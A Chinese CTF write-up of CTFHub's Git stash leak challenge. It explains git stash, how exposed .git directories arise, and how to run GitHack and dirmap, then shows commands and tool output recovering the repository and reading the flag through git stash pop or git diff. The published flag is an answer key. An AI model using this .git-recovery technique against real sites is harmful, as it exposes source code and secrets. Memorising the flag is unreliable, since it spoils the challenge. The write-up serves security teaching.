当前位置: 首页 > news >正文

CTFHub 信息泄露通关笔记8:Git泄露 Stash(两种方法渗透)

目录

一、Git泄露

1、git简介

2、git stash简介

(1)作用场景

(2)常用命令

3、git泄露的成因

4、git泄露的危害

二、GitHack工具

1、工具简介

2、下载安装

(1)下载安装GitHack

① Git命令下载

② Web页面下载

(2)基本使用方法

3、利用步骤

三、渗透实战

1、打开靶场

2、目录扫描发现.git文件

3、githack渗透

4、方法1:通过Git Stash获取flag

(1)查看暂存记录:git stash list

(2)恢复暂存记录:git stash pop

5、方法2:通过git log获取flag

(1)查看提交历史(git log)

(2)比较 "add flag" 版本的修改(git log diff)

(3)获取stash日志id

(4)git diff获取flag


本文通过CTFHub的信息泄露-Git泄露-Git stash关卡的渗透实战,详细介绍了GitHack工具的使用方法,通过实战演示了两种获取flag的技术路径:1)利用git stash list/pop恢复暂存修改;2)通过git log分析提交历史,结合git diff定位stash目录中的敏感信息。实验证明,开发人员需严格检查生产环境.git目录权限,避免版本控制信息泄露带来的安全风险。

一、Git泄露

在信息安全领域,.git 文件泄露是一种常见且危害较大的敏感信息泄露场景。它源于 Git 版本控制系统在项目中生成的 .git 目录被意外暴露在 Web 服务器上,攻击者可通过该目录获取项目的完整源代码、历史提交记录、配置文件等敏感信息。

1、git简介

Git 作为分布式版本控制系统,会在项目根目录生成 .git 目录,用于存储版本控制所需的所有元数据,包括:

  • 版本历史:所有提交记录(commits)、分支(branches)、标签(tags)等。
  • 文件快照:项目文件的不同版本数据(存储在 objects 目录)。
  • 配置信息:仓库配置(config)、当前分支指针(HEAD)、索引文件(index)等。

2、git stash简介

git stash 是 Git 版本控制系统中一个非常实用的命令,主要用于临时保存工作区和暂存区的修改,以便在不提交当前更改的情况下切换分支、清理工作区等。

(1)作用场景

  • 切换分支:当你在当前分支上进行了一些代码修改,但还没有完成,此时又需要切换到另一个分支去处理紧急任务,使用 git stash 可以将当前未提交的修改临时保存起来,切换到其他分支后不会影响该分支的状态,处理完紧急任务再切回原分支恢复修改继续工作。
  • 清理工作区:在拉取远程仓库的最新代码、合并分支等操作之前,为了避免本地未提交的修改与远程代码冲突,你可以使用 git stash 先把本地修改存起来,等操作完成后再恢复。
  • 多人协作:在团队协作中,当你需要提交代码到公共仓库,但又不想把自己未完成的工作提交上去影响他人,就可以用 git stash 把自己的修改暂存,只提交已经完成并测试通过的部分。

(2)常用命令

以下是 git stash 常用命令的表格说明,包含命令、功能描述和使用场景。

命令功能描述使用场景
git stash将当前工作区和暂存区的修改存入 stash 栈,工作区恢复为干净状态临时保存未完成的修改,需切换分支或执行其他操作时
git stash save "描述信息"存入 stash 时添加自定义描述,方便后续识别有多条 stash 记录时,通过描述快速区分内容
git stash list列出所有 stash 记录,按时间排序(最新的在最前面)查看已保存的 stash 记录,确定需要操作的目标
git stash show显示最新一条 stash 的简要修改信息(文件名和行数变化)快速了解 stash 中修改的文件范围
git stash show -p <stash-id>显示指定 stash 的完整差异(如 stash@{1}需要详细查看某次 stash 中具体修改的代码内容
git stash apply恢复最新一条 stash 到工作区,stash 记录保留暂时恢复修改查看效果,可能需要多次使用该 stash 时
git stash apply <stash-id>恢复指定 stash 到工作区(如 stash@{2}需要恢复非最新的 stash 记录时
git stash pop恢复最新一条 stash 到工作区,并删除该 stash 记录确认恢复后不再需要该 stash 时(节省存储空间)
git stash drop <stash-id>删除指定的 stash 记录(如 stash@{0}清理不再需要的 stash 记录,保持列表简洁
git stash clear清空所有 stash 记录确认所有 stash 均无用,需要彻底清理时(谨慎使用)
git stash branch <新分支名>基于最新 stash 创建新分支,并应用修改(同时删除该 stash)希望在新分支继续开发 stash 中的修改时

3、git泄露的成因

  • 部署失误:开发或运维人员在部署 Web 项目时,未排除 .git 目录,导致其被上传至生产服务器的 Web 根目录(如 wwwrootpublic 等)。
  • 权限配置不当:Web 服务器(如 Nginx、Apache)对 .git 目录未做访问限制,允许外部直接访问。
  • 目录遍历:服务器存在目录遍历时,攻击者可通过构造路径(如 ../.git/HEAD)绕过限制访问 .git 内容。

4、git泄露的危害

  • 源代码泄露:攻击者可还原项目完整源代码,分析业务逻辑,寻找 SQL 注入、XSS 等。
  • 敏感信息暴露:历史提交中可能包含数据库账号密码、API 密钥、配置文件等敏感数据。
  • 开发细节泄露:通过提交记录可了解开发习惯、项目架构,甚至获取内部开发文档。
  • 供应链风险:若项目依赖第三方库,攻击者可能通过源码分析依赖组件的安全风险。

二、GitHack工具

1、工具简介

当网站服务器意外泄露 .git 目录(如可通过 http://目标域名/.git 访问)时,GitHack 可通过解析 .git 目录下的版本控制文件(如 configindexobjects 等),还原出项目的完整源代码,包括可能包含的 flag、配置文件、敏感逻辑等信息。

项目地址: https://github.com/BugScanTeam/GitHack

特别注意:不要下错版本,github有好几个同名的GitHack,下错了无法渗透成功。(特别注意不是https://github.com/lijiejie/GitHack这个网址,从它下载是错误的)。

2、下载安装

(1)下载安装GitHack

GitHack是一个 .git 文件泄漏利用脚本,它是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码,可通过 Git命令下载或者在官网下载源码。

① Git命令下载
sudo git clone https://github.com/BugScanTeam/GitHack

② Web页面下载

(2)基本使用方法

进入到GitHack目录中,需要使用python2来运行脚本。

#进入到目录文件夹:
cd GitHack

GitHack的使用方法中,必须存在目标 URL这个参数:指定存在 .git 泄漏的网站 URL,需以 .git/ 结尾(若输入时未以 / 结尾,工具会自动补全)。例如:http://target.com/.git/是正确的格式。Githack的使用方法如下所示,可快速利用 .git 泄露获取网站源代码。

#使用方法:
sudo python2 GitHack.py http://www.example.com/.git

其中 http://www.example.com/.git/ 是目标网站的 .git 目录 URL,执行该命令后,工具会尝试从目标 URL 还原 Git 仓库内容,还原后的文件会保存在当前目录下的 dist/ 目录中。

3、利用步骤

GitHack工具可还原 .git 目录中的完整仓库,工具会自动从目标 .git 目录下载文件,还原后的项目存储在 dist/目标域名/ 目录中,包含完整源代码和版本历史,步骤如下所示。

# 安装 Git(工具依赖)
sudo apt install git  # Ubuntu/Debian
# 克隆 GitHack 工具
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack
# 执行还原(目标为存在.git泄露的URL)
python GitHack.py http://目标域名/.git/

三、渗透实战

1、打开靶场

打开关卡如下所示,提示信息为“当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露安全风险。请尝试使用BugScanTeam的GitHack完成本题”,提示本关卡可以利用.git泄露进行渗透测试。点击打开题目,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。

打开靶场URL,页面提示"Where is flag,具体如下所示。

http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800/ 

2、目录扫描发现.git文件

通过目录扫描工具对challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800进行渗透,这里选择使用dirmap工具进行渗透,命令如下所示。

sudo python3 dirmap.py -i http://challenge-9fd26fb5ff0fe270.sandbox.ctfhub.com:10800 –lcf

-lcf--loadConfigFile):该参数表示加载项目根目录下的 dirmap.conf 配置文件,使用文件中定义的详细扫描规则(如字典模式、递归扫描、请求头设置等)。dirmap的扫描结果如下所示,在网站根目录下发现了.git文件夹。

3、githack渗透

使用githack脚本对上一步发现的网站根目录下的.git文件进行渗透测试,通过GitHack.py工具远程访问目标服务器泄露的.git仓库,自动解析仓库中的版本控制信息,还原出项目源代码文件(可能包含 flag等敏感信息),完整的命令如下所示。

sudo python2 GitHack.py http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git 

运行结果如下所示,利用了网站部署时未删除.git版本控制目录导致的信息泄露恢复目录文件。

在当前目录的dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800下成功恢复文件,完整运行结果如下所示。

kali@kali:~/ljn$ cd GitHack/
kali@kali:~/ljn/GitHack$ sudo sudo python2 GitHack.py http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git
[sudo] kali 的密码:____ _ _   _   _            _                                                                                                                                        / ___(_) |_| | | | __ _  ___| | __                                                                                                                                    
| |  _| | __| |_| |/ _` |/ __| |/ /                                                                                                                                    
| |_| | | |_|  _  | (_| | (__|   <                                                                                                                                     \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}                                                                                                                             A '.git' folder disclosure exploit.                                                                       [*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
正克隆到 '/home/kali/ljn/GitHack/dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800'...
fatal: 无法访问 'http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/':Failed to connect to challenge-2452a35a68245349.sandbox.ctfhub.com port 10800 after 21019 ms: 拒绝连接
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-2452a35a68245349.sandbox.ctfhub.com:10800/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[!] Initialize Git Error: 提示:使用 'master' 作为初始分支的名称。这个默认分支名称可能会更改。要在新仓库中
提示:配置使用初始分支名,并消除这条警告,请执行:                                                  
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/f0/da992e7fa3c50ad9fe578ac9bb19361fc4d259
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/06/7c669fb39664eb83726b99b615f508022936be
[*] objects/24/1022aff3f8aceb3e06f1754413f130d71bc86b
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/e9/a92bc9eb722a32963cdd3e0ba4d8f574f20a27
[*] objects/e3/58b09f4cb4e5800dd20e1aa6758bf80811001a
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Fetch Commit Objects
[*] objects/3f/e70768d9b7f525376efb3a6af2e081f6189d83
[*] objects/fe/076d1e1a3b97974453d73da70b3175f743c4cd
[*] objects/af/e98322348ada60d5306f2d878979c37b2885f1
[*] objects/05/6c4148de9af323007268f5cdb57f428017ae1a
[*] Fetch Commit Objects End
[*] Valid Repository
[+] Valid Repository Success[+] Clone Success. Dist File : /home/kali/ljn/GitHack/dist/challenge-2452a35a68245349.sandbox.ctfhub.com_10800

4、方法1:通过Git Stash获取flag

使用Git stash方法获取flag的具体步骤如下所示,主要分为3个步骤。

  • 利用 GitHack 恢复泄露的 .git 仓库,得到完整的版本控制信息;
  • 通过 git stash list 发现未提交的暂存记录,且记录中可能包含 flag;
  • 用 git stash pop 恢复暂存内容,解决冲突后获取到包含 flag 的文件。

(1)查看暂存记录:git stash list

进入到git目录,执行git stash发现add flag,记录下git log id,具体命令如下所示。

cd dist
cd challenge-2452a35a68245349.sandbox.ctfhub.com_10800/
git stash list

执行 git stash list 发现stash(git stash list命令是列出stash),具体效果如下所示。

该命令显示仓库中存在一条暂存记录(stash@{0}),描述为 “WIP on master: 067c669 add flag”,说明在 master 分支上有一个未提交的工作状态(WIP,Work In Progress),关联的提交记录是 067c669(提交信息为 “add flag”)。

(2)恢复暂存记录:git stash pop

git stash pop是 Git 版本控制系统中用于恢复暂存修改的命令,其核心功能是取出最近一次 stash(暂存)的修改并应用到当前工作区,同时删除该 stash 记录

sudo git stash pop

执行 git stash pop 发现从 git 栈中弹出来一个包含flag的文件444628506568.txt(git stash pop命令是恢复到上次改动),查看444628506568.txt文件即可发现flag。

  • git stash pop 命令的作用是恢复最近的暂存记录(stash@{0})并删除该记录。
  • 这里出现了冲突:文件 444628506568.txt 在当前分支(可能是从远程同步的 Updated upstream)中已被删除,但在暂存记录(Stashed changes)中被修改过。Git 自动保留了暂存记录中的版本(即包含修改的版本)。
  • 冲突解决后,暂存记录中被修改的 444628506568.txt 被保留,通过查看该文件内容,成功获取了 flag(ctfhub{7d277c6fa77f9301da76c49f})。

5、方法2:通过git log获取flag

本次通过Git 版本控制记录追溯文件修改历史,从而寻找 flag 的过程,具体步骤分析如下所示。

(1)查看提交历史(git log

进入到git目录,执行git log发现add flag,记录下git log id,如下所示。

cd dist
cd challenge-2452a35a68245349.sandbox.ctfhub.com_10800
git log

如下图所示,在执行git log时有addflag、removeflag的日志记录,接下来我们记录下add flag的log id,值为067c669fb39664eb83726b99b615f508022936be。

提交记录明确显示了 "add flag" 和 "remove flag" 的操作,说明 flag 很可能在 add flag 提交中被添加,随后在 remove flag 提交中被删除。输出显示了仓库的 3 次提交记录,按时间倒序排列:

  • 最新提交 f0da992remove flag(删除 flag)
  • 中间提交 067c669add flag(添加 flag)
  • 初始提交 e9a92bcinit(初始化仓库)

(2)比较 "add flag" 版本的修改(git log diff

执行git log diff,比较add flag版本的代码修改日志,如下所示成功获取到flag。

sudo git log diff 067c669fb39664eb83726b99b615f508022936be

输出显示直接查看 add flag 提交与当前工作区的差异,未发现目标 flag,说明需要进一步追溯更早的修改。

  • 文件 444628506568.txt 被删除(deleted file mode
  • 该文件内容为 where is flag(此版本未直接包含 flag,可能是过渡内容)

(3)获取stash日志id

在.git/refs/stash文件中发现log id,记录值为3fe70768d9b7f525376efb3a6af2e081f6189d83,具体如下所示。

这个长字符串3fe70768d9b7f525376efb3a6af2e081f6189d83是一个 Git 提交对象的哈希值,对应一次临时存储(stash)的更改。它代表了某次使用git stash命令时保存的工作区和暂存区状态,包含了当时未提交的修改。

(4)git diff获取flag

对上一步获取的stash日志id(3fe70768d9b7f525376efb3a6af2e081f6189d83)执行git diff,效果如下所示,成获取到flag值。

sudo git diff 3fe70768d9b7f525376efb3a6af2e081f6189d83

http://www.dtcms.com/a/442531.html

相关文章:

  • 如何做网站的内容网站开发要求描述
  • 做百度商桥网站代做毕业设计网站现成
  • vnpy解读1
  • ORB_SLAM2原理及代码解析:单应矩阵H、基础矩阵F求解
  • 修复一次DNS故障
  • 【大模型实战笔记 2】基于讯飞星火大模型与 Streamlit 的多风格智能翻译助手项目实现
  • 怎么知道网站是php乐都企业网站建设
  • Go语言中,nil、关闭的channel、有数据的channel,进行读写关闭会怎么样?
  • 如何在网站做直播间wordpress侧边栏位置
  • 网站设计精美案例wordpress插件推荐
  • 第1章:初识 Spring AI-Java 开发者的 AI 新纪元
  • 北京餐饮品牌设计公司保定seo建站
  • 2025年SEVE SCI2区,具有局部和全局参数自适应差分进化算法,深度解析+性能实测
  • 32位ubuntu14.0.4安装chrome
  • geo Counts 数据 ,机器学习 模型的外部验证 ROC外部验证数据处理流程
  • 深圳网站建设制作企业dw做网站背景图片设置
  • h5生成济南关键词优化费用情况
  • sae 网站备案信息运营主要做什么工作
  • 谈谈如何建设企业人力资源网站广州南沙建设网站
  • 10.4 双指针
  • 关于举办中国国际大学生创新大赛(2025)总决赛现场比赛通知
  • 山西商城网站建设网络推广网址
  • 【苍穹外卖日记】Day1-环境搭建与apifox文档建立
  • 宁波建站模板厂家wordpress文字logo
  • 【Qt】事件
  • 数字人民币钱包抉择:匿名自由与实名安全的法律风险评估
  • 做网站需要用到什么北京养老网站开发
  • 专门做电商的网站有哪些广告推广策略
  • Java EE初阶启程记06---synchronized关键字
  • QT(c++)开发自学笔记:1.串口